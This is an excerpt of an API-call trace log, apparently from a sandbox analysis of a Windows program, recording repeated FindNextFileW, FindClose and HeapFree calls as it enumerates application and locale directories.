	[0173.019] FindNextFileW (in: hFindFile=0x394bc38, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0173.019] FindClose (in: hFindFile=0x394bc38 | out: hFindFile=0x394bc38) returned 1
	[0173.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.019] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0173.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.019] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0173.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.019] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0173.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.020] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0173.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.020] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0173.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.020] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0173.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.020] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0173.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.020] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0173.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.021] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0173.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.021] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0173.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.021] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0173.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.021] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0173.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.021] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0173.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.022] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0173.022] FindNextFileW (in: hFindFile=0x394b838, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0173.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.022] FindNextFileW (in: hFindFile=0x394bab8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0173.022] FindClose (in: hFindFile=0x394bab8 | out: hFindFile=0x394bab8) returned 1
	[0173.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0173.022] FindNextFileW (in: hFindFile=0x394b838, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0173.022] FindClose (in: hFindFile=0x394b838 | out: hFindFile=0x394b838) returned 1
	[0173.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.022] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0173.023] FindClose (in: hFindFile=0x394b5f8 | out: hFindFile=0x394b5f8) returned 1
	[0173.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0173.023] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sample-files", cAlternateFileName="SAMPLE~1")) returned 1
	[0173.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0173.126] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sample Files", cAlternateFileName="SAMPLE~1")) returned 0
	[0173.126] FindClose (in: hFindFile=0x394ba78 | out: hFindFile=0x394ba78) returned 1
	[0173.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.126] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
	[0173.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.134] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0173.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.140] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0173.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.141] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0173.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.142] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0173.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.143] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0173.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.147] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0173.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.148] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0173.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.149] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0173.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.150] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0173.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.150] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0173.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.151] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0173.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.152] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0173.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.153] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0173.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.155] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0173.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.156] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0173.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.156] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
